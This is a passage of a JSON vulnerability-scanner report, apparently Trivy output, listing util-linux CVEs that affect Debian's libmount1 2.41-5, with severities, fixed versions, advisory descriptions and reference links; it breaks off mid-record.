"https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-rh77-686x-2f2m", "https://linux.oracle.com/cve/CVE-2026-78410.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78410", "https://www.cve.org/CVERecord?id=CVE-2026-78410" ], "PublishedDate": "2026-09-02T16:17:23.983Z", "LastModifiedDate": "2026-11-05T03:17:33.15Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:78cecc9a6589ea1af78ec36bd8948d0a12f0f1b0e3161917f444b9598e0dbea4", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6ec094e23999127495063124a5b1db861381ea834ee5a70dee83d67d3ffbf70a", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:69633167ef22d23f37aaeb5e35d544332b928cc8ddab2ede2a8747c23dbeb080", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b90d1784ed0e9d339cb7f0a4ba56f9ae741d12ec93d1bb22daf0f350d7ab2df6", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ad9c2f1285d155408709cc1d7c63ccddeb5896f4eb327239da8c157925cab914", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ee3d3dfbdd69f569215f4adb6c4ff6ba5edfc7d90624ca00c4faee89c13640a4", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "libmount1@2.41-5", "PkgName": "libmount1", "PkgIdentifier": { "PURL": "pkg:deb/debian/libmount1@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "5581a0d7033537c" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c44841375cdd7bbda454168626d92fb87ee17bd43251cdc4418cd87e7fd17fef", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not 